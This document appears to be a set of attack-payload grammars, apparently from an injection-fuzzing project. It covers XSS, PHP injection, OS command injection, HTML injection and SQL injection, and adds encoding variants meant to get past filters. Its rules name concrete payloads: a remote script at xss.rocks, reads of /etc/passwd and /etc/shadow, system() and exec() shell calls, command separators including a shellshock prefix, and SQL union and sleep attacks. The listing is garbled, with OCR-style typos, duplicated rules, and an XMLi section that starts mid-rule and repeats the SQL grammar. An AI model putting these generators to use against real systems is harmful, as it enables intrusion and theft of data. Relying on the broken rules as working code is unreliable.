XSS Grammer

```
'root': (('directContext'),('attributeContext'),('eventContext')),
'directContext': (('pre', 'leftSciptLabel', 'jsString', 'rightSciptLabel')),
'attributeContext': (('terDQuote', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
'wsp'),
                     ('pre', 'terLess',
'aTag', 'wsp', 'herfAttr', 'terEqual', 'jsStatement',
                      'wsp', 'terGreater', 'rightALabel'),
                     ('pre', 'terLess', 'iframeTag', 'wsp', 'srcAttr',
'terEqual',
                                        'jsStatement', 'wsp', 'terGreater'),
                     ('pre', 'terLess', 'scriptTag', 'wsp', 'srcAttr',
'terEqual',
                                        'jsFile', 'wsp', 'terGreater',
'rightSciptLabel')),
'eventContext': (('terDQuote', 'wsp', 'eventStatement', 'wsp'),
                 ('pre', 'terLess', 'tagAttr', 'wsp', 'eventStatement', 'wsp',
                          'terGreater')),
'terDQuote': (("\"")),
'terSQuote': (("'")),
'terLess': (('<')),
'terGreater': (('>')),
'terEqual': (("=")),
'terBlank': (("[blank]"),('%20')),
'terSolidus': (("/"),('%2f')),
'terAdd': (("+")),
'terTab': (('%09')),
'terLF': (('%0A')),
'terFF': (('%0C')),
'terCR': (('%0D')),
'pre': (('terDQuote', 'terGreater'),
       ('terSQuote', 'terGreater'),
       ('terGreater'),
       ('terBlank')),
'wsp': (('terBlank'),
       ('terSolidus'),
       ('terAdd'),
       ('terTab'),
       ('terLF'),
       ('terFF'),
       ('terCR')),
'leftSciptLabel': (('terLess', 'scriptTag', 'terGreater')),
'rightSciptLabel': (('terLess', 'terSolidus', 'scriptTag', 'terGreater')),
'rightALabel': (('terLess', 'terSolidus', 'aTag', 'terGreater')),
'scriptTag': (('charS', 'charC', 'charR', 'charI', 'charP', 'charT')),
'aTag': (('charA')),
'iframeTag': (('charI', 'charF', 'charR', 'charA', 'charM', 'charE')),
'srcAttr': (('charS', 'charR', 'charC')),
'herfAttr': (('charH', 'charE', 'charR', 'charF')),
'tagAttr': (),
'jsString': (('alert(1)'),
             ('%61%6c%65%72%74%28%31%29'),
             ('&\pix61;\&\pi6c;\&\pix65;\&\pix72;\&\pix74;\&\pix28;\&\pix31;\&\pix29;\'),
             ('aler&#116(9)&#59')),
```

```
'jsFile': (('http://xss.rocks/xss.js'),
('%68%74%74%70%3A%2F%2F%78%73%73%2E%72%6F%63%6B%73%2F%78%73%73%2E%6A%73'),
('http://sss.r\
#ocks/ss.js'),
('&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#114&#111&#99&#107&#115\
            #&#47&#120&#115&#115&#46&#106&#115')),
'jsStatement': (('javascript:', 'jsString'),
               ('%6A%61%76%61%73%63%72%69%70%74%3A', 'jsString'),
('javascript:',
        'jsString'),
              ('&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58',
'jsString')),
'eventStatement': (('eventAttr', 'terEqual', 'jsString')),
'eventAttr': (),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('1'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'char0': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charu': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charx': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charz': (('z'), ('%7a'), ('%5a')),
eventHandle = ['oncut', 'onblur', 'oncopy', 'ondrag', 'ondrop', 'onhelp',
                             'onplay', 'onshow','onabort', 'onclick',
'onload',
'onclose', 'onended', 'onerror',
                                            'onfocus', 'oninput',
'onkeyup', 'onpaste', 'onpause', 'onreset', 'onwheel',
                                                               'onbounce',
'oncancel', 'onchange', 'onfinish', 'ononline', 'onresize',
'onscroll', 'onsearch', 'onseeked', 'onselect', 'onsubmit', 'ontoggle',
```

```
'onunload', 'oncanplay', 'ondragend', 'onemptied', 'onfocusin',
                       'oninvalid', 'onkeydown', 'onmessage', 'onmouseup',
                                      'onplaying', 'onseeking', 'onstalled',
'onoffline'.
'onstorage','onsuspend',
                                                   'onwaiting', 'onactivate',
'ondblclick', 'ondragover', 'onfocusout',
'onkeypress', 'onmouseout', 'onpagehide', 'onpageshow', 'onpopstate',
           'onprogress', 'ontouchend', 'onbeforecut', 'oncuechange',
                                'ondragleave', 'ondragstart', 'onloadstart',
'ondragenter',
'onmousedown', 'onmousemove',
                                             'onmouseover',
'ontouchmove', 'onafterprint', 'onbeforecopy', 'ongestureend',
               'onhashchange', 'onloadeddata', 'onmouseenter', 'onmouseleave',
                       'onmousewheel', 'onratechange', 'ontimeupdate',
'ontouchstart',
                                            'onafterupdate', 'onbeforepaste',
'onbeforeprint', 'oncontextmenu',
               'ondevicelight', 'onmspointerup', 'ontouchcancel',
'onanimationend',
                                       'onautocomplete', 'onbeforeunload',
'onbeforeupdate', 'ondevicemotion',
                                                      'ongesturestart',
'onmsgestureend', 'onmsgesturetap', 'onmspointerout',
 'onvolumechange', 'oncontrolselect', 'ongesturechange', 'onmsgesturehold',
         'onmspointerdown', 'onmspointermove',
'onmspointerover', 'ontransitionend',
               'onuserproximity', 'onanimationstart', 'onbeforeactivate',
                         'oncanplaythrough',
'ondurationchange', 'onlanguagechange',
 'onloadedmetadata', 'onmsgesturestart', 'onmsinertiastart',
         'onmspointerenter', 'onmspointerhover', 'onmspointerleave',
                   'onbeforeeditfocus', 'ondeviceproximity', 'onmsgesturechange',
               'onmspointercancel', 'onbeforedeactivate', 'onreadystatechange',
                         'onautocompleteerror', 'ondeviceorientation',
'onorientationchange',
                                             'onanimationiteration',
'onmozfullscreenerror', 'onmsgesturedoubletap',
 'onwebkitanimationend', 'onwebkitmouseforceup', 'onmozfullscreenchange',
               'onmozpointerlockerror',
'onwebkittransitionend', 'onmozpointerlockchange',
 'onwebkitanimationstart',
         'onwebkitmouseforcedown', 'onwebkitwillrevealbottom',
                   'oncompassneedscalibration', 'onwebkitmouseforcechanged',
                             'onwebkitanimationiteration',
'onwebkitmouseforcewillbegin']
tagHandle = ['a', 'b', 'i', 'p', 'q', 's', 'u', 'br', 'dd', 'dl', 'dt', 'em',
'h1'. 'h2'.
                        'h3', 'h4', 'h5', 'h6', 'hr', 'li', 'ol', 'rp', 'rt',
'td', 'th', 'tr', 'tt',
                                     'ul', 'bdi', 'bdo', 'big', 'col', 'del',
'dfn','dir', 'div', 'img', 'ins',
                                                 'kbd', 'map', 'nav', 'pre',
'sub', 'sup', 'svg', 'var', 'wbr', 'xmp', 'abbr',
                                                               'area', 'base',
'body', 'cite', 'code', 'font', 'form', 'head', 'html',
                                                                          'link',
'main', 'mark', 'menu', 'meta', 'ruby', 'samp', 'span', 'time',
'aside', 'audio', 'embed', 'frame', 'image', 'input', 'label', 'meter',
           'param', 'small', 'style', 'table', 'tbody', 'tfoot', 'thead',
'title',
             'track', 'video', 'applet', 'button', 'canvas', 'center',
'dialog','figure',
                                'footer', 'header', 'iframe', 'keygen', 'legend',
                                          'output', 'script', 'select', 'source',
'object', 'option',
'strike','strong', 'acronym',
                                                  'address', 'article',
'caption', 'details', 'isindex', 'listing', 'marquee',
             'section', 'summary', 'basefont', 'colgroup', 'datalist',
'fieldset',
                               'frameset', 'menuitem', 'noframes', 'noscript',
'optgroup', 'progress',
                                            'textarea', 'plaintext',
'blockquote', 'figcaption']
```

PHPi Grammer

```
'root': (('evalContext'),
         ('createFunctionContext'),
         ('replaceContext'),
         ('serializeContext')),
'evalContext': (('attack'),
                ('addslashesOpen', 'attack', 'addslashes')),
'createFunctionContext': (('terDigitZero', 'functionClose', 'attack')),
'replaceContext': (('getPre', 'addslashesOpen', 'attack', 'addslashes'),
                   ('noGetPre', 'addslashesOpen', 'attack', 'addslashes')),
'serializeContext': (('serializePre', 'serializePost')),
'addslashesOpen': (('char#', 'char{', 'char#', 'char{')),
'addslashes': (('char}', 'char}')),
'terDigitZero': (('0')),
'functionClose': (('char)', ';', 'char}')),
'serializePre': (('OorC', 'maohao', '[terDigitExcludingZero]', 'maohao',
'var')),
'serializePost': (('char{', 'zimu', 'maohao', '[terDigitExcludingZero]',
'maohao',
                                   'attack')),
'OorC': (('char0'),
        ('charC')),
'maohao': ((':')),
'attack': (('phpPre', 'phpinfo()', 'phpPost'),
          ('phpPre', 'echo[blank]"what"', 'phpPost'),
           ('phpPre', '$fp = fopen("/etc/passwd","r");$result = fread($fp,8192);
                     echo[blank]$result', 'phpPost'),
           ('phpPre', "system('", "shell", "')", 'phpPost'),
           ('phpPre', "exec('", "shell", "')", 'phpPost')),
'phpPre': (('char<', '?', 'charP', 'charH', 'charP', 'wsp'), ('')),
'phpPost': (('wsp', '?', 'char>'), ('')),
'shell': (('/bin/cat', 'wsp', 'content'),('usr/bin/tail', 'wsp', 'content'),
          ('usr/bin/wget', 'wsp', '127.0.0.1'), ('usr/bin/who'),
          ('usr/bin/whoami'), ('usr/local/bin/bash'),
          ('usr/local/bin/curl' 'wsp', '127.0.0.1'), ('usr/local/bin/nmap'),
          ('usr/local/bin/python'), ('usr/local/bin/ruby'),
          ('usr/local/bin/wget'),
          ('usr/bin/nice'), ('usr/bin/less'),
          ('usr/bin/more'),
          ('ping', 'wsp', '127.0.0.1'), ('sleep', 'wsp', '1'),
          ('ls'), ('ifconfig'),
          ('netstat'),
          ('systeminfo'), ('which', 'wsp', 'curl')),
'command': ((''), ('/etc/passwd'), ('/etc/shadow')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
```

```
'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'charS': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))
```

OS Command Injection Grammer

```
'root': (('pre', 'shell', 'post')),
'pre': (('var', 'post')),
'var': ((''), ('0')),
'post': ((';'), ('|'), ('||'), ('\n'), ('%0a'), ("""), (')'), (');'), ('&'),
('$'),
         ('() { :;};')),
'shell': (('/bin/cat', 'wsp', 'content'),
          ('usr/bin/tail', 'wsp', 'content'),
          ('usr/bin/wget', 'wsp', '127.0.0.1'),
          ('usr/bin/who'), ('usr/bin/whoami'), ('usr/local/bin/bash'),
          ('usr/local/bin/curl' 'wsp', '127.0.0.1'),
          ('usr/local/bin/nmap'),
          ('usr/local/bin/python'), ('usr/local/bin/ruby'),
          ('usr/local/bin/wget'),
          ('usr/bin/nice'), ('usr/bin/less'), ('usr/bin/more'),
          ('ping', 'wsp', '127.0.0.1'),
          ('sleep', 'wsp', '1'),
          ('ls'), ('ifconfig'), ('netstat'),
          ('systeminfo'), ('which', 'wsp', 'curl')),
'command': ((''), ('/etc/passwd'), ('/etc/shadow')),
'wsp': (('[blank]'), ('%20')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('1'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'char0': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
```

```
'charR': (('r'), ('%72'), ('%52')),
'charS': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))
```

HTMLi Grammer

```
'root': (('iframe'),
          ('img'),
          ('form'),
          ('a'),
          ('video'),
          ('embed')),
'iframe': (('terLess', 'iframeTag', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
            'wsp', 'terGreater')),
'img': (('terLess', 'iframeImg', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
         'wsp', 'terGreater')),
'form': (('terLess', 'iframeForm', 'wsp', 'actionAttr', 'terEqual',
'jsStatement', 'wsp',
          'methodAttr', 'terEqual', 'methodContent', 'wsp', 'terGreater')),
'a': (('terLess', 'aTag', 'wsp', 'herfAttr', 'terEqual', 'jsStatement',
        'wsp', 'terGreater', 'rightALabel')),
'video': (('terLess', 'iframeVideo', 'wsp', 'srcAttr', 'terEqual',
'jsStatement'.
           'wsp', 'terGreater')),
'embed': (('terLess', 'iframeEmbed', 'wsp', 'srcAttr', 'terEqual',
'jsStatement',
           'wsp', 'terGreater')),
'iframeTag': (('charI', 'charF', 'charR', 'charA', 'charM', 'charE')),
'iframeImg': (('charI', 'charM', 'charG')),
'actionAttr': (('charA', 'charC', 'charT', 'charI', 'charO', 'charN')),
'methodAttr': (('charM', 'charE', 'charT', 'charH', 'charO', 'charD')),
'methodContent': (('charG', 'charE', 'charT'), ('charP', 'charO', 'charS',
'charT')),
'aTag': (('charA')),
'herfAttr': (('charH', 'charE', 'charR', 'charF')),
'tagAttr': (),
'rightALabel': (('terLess', 'terSolidus', 'aTag', 'terGreater')),
'iframeVideo': (('charV', 'charI', 'charD', 'charE', 'charO')),
'iframeEmbed': (('charE', 'charM', 'charB', 'charE', 'charD')),
'wsp': (('terBlank'),
       ('terSolidus'),
       ('terAdd'),
       ('terTab'),
        ('terLF'),
        ('terFF'),
        ('terCR')),
'srcAttr': (('charS', 'charR', 'charC')),
'jsStatement': (('javascript:', 'jsString'),
                ('%6A%61%76%61%73%63%72%69%70%74%3A', 'jsString'),
```

```
('javascript:',
         'isString'),
               ('&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58',
'jsString')),
'terDQuote': (("\"")),
'terSQuote': (("'")),
'terLess': (('char<')),
'terGreater': (('>')),
'terEqual': (("=")),
'terBlank': (("[blank]"),('%20')),
'terSolidus': (("/"),('%2f')),
'terAdd': (("+")),
'terTab': (('%09')),
'terLF': (('%0A')),
'terff': (('%0C')),
'terCR': (('%0D')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('1'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'char0': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charv': (('v'), ('%76'), ('%56')),
'charw': (('w'), ('%77'), ('%57')),
'charx': (('x'), ('%78'), ('%58')),
'chary': (('y'), ('%79'), ('%59')),
'charz': (('z'), ('%7a'), ('%5a'))
```

XMLi Grammer

```
('terSQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                              'terSQuote'),
                  ('terSQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'dQuoteContext': (('terDQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'terDQuote'),
                  ('terDQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                              'terDQuote'),
                  ('terDQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'sqliAttack': (('unionAttack'),
               ('piggyAttack'),
               ('booleanAttack')),
'piggyAttack': (('opSem', 'opSel', 'wsp', 'funcSleep')),
'cols': (('terDigitZero')),
'unionPostfix': (("all", 'wsp'),
                 ("distinct", 'wsp')),
'unionConf': (('opUni'),
              ('/*!', "50000", 'opUni', '*/')),
'unionAttack': (('unionConf', 'wsp', 'unionPostfix', 'opSel', 'wsp', 'cols'),
                ('unionConf', 'wsp', 'unionPostfix', 'parOpen', 'opSel', 'wsp',
'cols',
                           'par')),
'falseConst': (('false')),
'falseAtom': (('wsp', 'falseConst'),
              ('wsp', 'terDigitZero'),
              ('tersQuote', 'tersQuote')),
'unaryFalse': (('falseAtom'),
               ('wsp', 'opNot', 'wsp', 'trueAtom'),
               ('wsp', 'opNot', 'opBinInvert', 'falseAtom')),
'booleanFalseExpr': (('unaryFalse')),
'orAttack': (('opOr', 'booleanTrueExpr')),
'andAttack': (('opAnd', 'booleanFalseExpr')),
'booleanAttack': (('orAttack'),
                  ('andAttack')),
'trueConst': (('true')),
'trueAtom': (('trueConst'),
                     ('terDigitOne')),
'unaryTrue': (('wsp', 'trueAtom'),
              ('wsp', 'opNot', 'wsp', 'falseAtom'),
              ('opBinInvert', 'wsp', 'falseAtom')),
'binaryTrue': (('unaryTrue', 'opEqual', 'wsp', 'parOpen', 'unaryTrue', 'par'),
               ('unaryFalse', 'opEqual', 'wsp', 'parOpen', 'unaryFalse', 'par'),
               ('terSQuote', 'terChar', 'terSQuote', 'opEqual', 'terSQuote',
'terChar',
                             'terSQuote'),
               ('terDQuote', 'terChar', 'terDQuote', 'opEqual', 'terDQuote',
'terChar',
                             'terDQuote'),
               ('unaryFalse', 'opLt', 'parOpen', 'unaryTrue', 'par'),
               ('unaryTrue', 'opGt', 'parOpen', 'unaryFalse', 'par'),
               ('wsp', 'trueAtom', 'wsp', 'opLike', 'wsp', 'trueAtom'),
               ('unaryTrue', 'wsp', 'opIs', 'wsp', 'trueConst'),
               ('unaryFalse', 'wsp', 'opIs', 'wsp', 'falseConst'),
               ('unaryTrue', 'opMinus', 'parOpen', 'unaryFalse', 'par')),
'booleanTrueExpr': (('unaryTrue'),
                    ('binaryTrue')),
'inlineCmt': (('/**/')),
'blank': (('[blank]')),
'wsp': (('blank'),
       ('inlineCmt')),
'par': ((')')),
'cmt': (('#'),('--', 'blank')),
```

```
'parOpen': (('(')),
'funcSleep': (("sleep", 'parOpen', '[terDigitExcludingZero]', 'par')),
'opNot': (("!"),("not")),
'opBinInvert': (("~")),
'opEqual': (("=")),
'opLt': (("<")),
'opGt': ((">")),
'opLike': (("like")),
'opIs': (("is")),
'opMinus': (("-")),
'opOr': (("or"),("||")),
'opAnd': (("and"),("&&")),
'opSel': (("select")),
'opUni': (("union")),
'opSem': ((";")),
'terSQuote': (("'")),
'terDQuote': (("\"")),
'terDigitZero': (("0")),
'terDigitOne': (("1")),
'terDigitExcludingZero': (("1"), ('2'), ('3'), ('4'), ('5'), ('6'), ('7'),
('8'), ('9')),
'terDigitIncludingZero': (("0"), ("1"), ('2'), ('3'), ('4'), ('5'), ('6'),
('7'), ('8'),
                                         ('9')),
'terChar': (("a")),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('1'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'char0': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charu': (('u'), ('%75'), ('%55')),
'charv': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charx': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charz': (('z'), ('%7a'), ('%5a'))
```

SQL i Grammer

```
'numericContext': (('terDigitZero', 'wsp', 'booleanAttack', 'wsp'),
                   ('terDigitZero', 'par', 'wsp', 'booleanAttack', 'wsp',
                                     'parOpen', 'terDigitZero'),
'opOr'.
                   ('terDigitZero', 'par', 'wsp', 'sqliAttack', 'cmt')),
'sQuoteContext': (('terSQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'tersQuote'),
                  ('terSQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                              'tersQuote'),
                  ('terSQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'dQuoteContext': (('terDQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'terDQuote'),
                  ('terDQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                              'terDQuote'),
                  ('terDQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'sqliAttack': (('unionAttack'),
               ('piggyAttack'),
               ('booleanAttack')),
'piggyAttack': (('opSem', 'opSel', 'wsp', 'funcSleep')),
'cols': (('terDigitZero')),
'unionPostfix': (("all", 'wsp'),
                ("distinct", 'wsp')),
'unionConf': (('opUni'),
              ('/*!', "50000", 'opUni', '*/')),
'unionAttack': (('unionConf', 'wsp', 'unionPostfix', 'opSel', 'wsp', 'cols'),
                ('unionConf', 'wsp', 'unionPostfix', 'parOpen', 'opSel', 'wsp',
'cols',
                           'par')),
'falseConst': (('false')),
'falseAtom': (('wsp', 'falseConst'),
              ('wsp', 'terDigitZero'),
              ('tersQuote', 'tersQuote')),
'unaryFalse': (('falseAtom'),
               ('wsp', 'opNot', 'wsp', 'trueAtom'),
               ('wsp', 'opNot', 'opBinInvert', 'falseAtom')),
'booleanFalseExpr': (('unaryFalse')),
'orAttack': (('opOr', 'booleanTrueExpr')),
'andAttack': (('opAnd', 'booleanFalseExpr')),
'booleanAttack': (('orAttack'),
                  ('andAttack')),
'trueConst': (('true')),
'trueAtom': (('trueConst'),
                     ('terDigitOne')),
'unaryTrue': (('wsp', 'trueAtom'),
              ('wsp', 'opNot', 'wsp', 'falseAtom'),
              ('opBinInvert', 'wsp', 'falseAtom')),
'binaryTrue': (('unaryTrue', 'opEqual', 'wsp', 'parOpen', 'unaryTrue', 'par'),
               ('unaryFalse', 'opEqual', 'wsp', 'parOpen', 'unaryFalse', 'par'),
               ('terSQuote', 'terChar', 'terSQuote', 'opEqual', 'terSQuote',
'terChar',
                             'terSQuote'),
               ('terDQuote', 'terChar', 'terDQuote', 'opEqual', 'terDQuote',
'terChar'.
                             'terDQuote'),
               ('unaryFalse', 'opLt', 'parOpen', 'unaryTrue', 'par'),
               ('unaryTrue', 'opGt', 'parOpen', 'unaryFalse', 'par'),
               ('wsp', 'trueAtom', 'wsp', 'opLike', 'wsp', 'trueAtom'),
               ('unaryTrue', 'wsp', 'opIs', 'wsp', 'trueConst'),
               ('unaryFalse', 'wsp', 'opIs', 'wsp', 'falseConst'),
               ('unaryTrue', 'opMinus', 'parOpen', 'unaryFalse', 'par')),
'booleanTrueExpr': (('unaryTrue'),
                    ('binaryTrue')),
```

```
'inlineCmt': (('/**/')),
'blank': (('[blank]')),
'wsp': (('blank'),
        ('inlineCmt')),
'par': ((')')),
'cmt': (('#'),('--', 'blank')),
'parOpen': (('(')),
'funcSleep': (("sleep", 'parOpen', '[terDigitExcludingZero]', 'par')),
'opNot': (("!"),("not")),
'opBinInvert': (("~")),
'opEqual': (("=")),
'opLt': (("<")),
'opGt': ((">")),
'opLike': (("like")),
'opIs': (("is")),
'opMinus': (("-")),
'opOr': (("or"),("||")),
'opAnd': (("and"),("&&")),
'opSel': (("select")),
'opUni': (("union")),
'opSem': ((";")),
'terSQuote': (("'")),
'terDQuote': (("\"")),
'terDigitZero': (("0")),
'terDigitOne': (("1")),
'terDigitExcludingZero': (("1"), ('2'), ('3'), ('4'), ('5'), ('6'), ('7'),
('8'), ('9')),
'terDigitIncludingZero': (("0"), ("1"), ('2'), ('3'), ('4'), ('5'), ('6'),
('7'), ('8'),
                                         ('9')),
'terChar': (("a")),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('1'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'char0': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'charS': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charx': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charz': (('z'), ('%7a'), ('%5a'))
```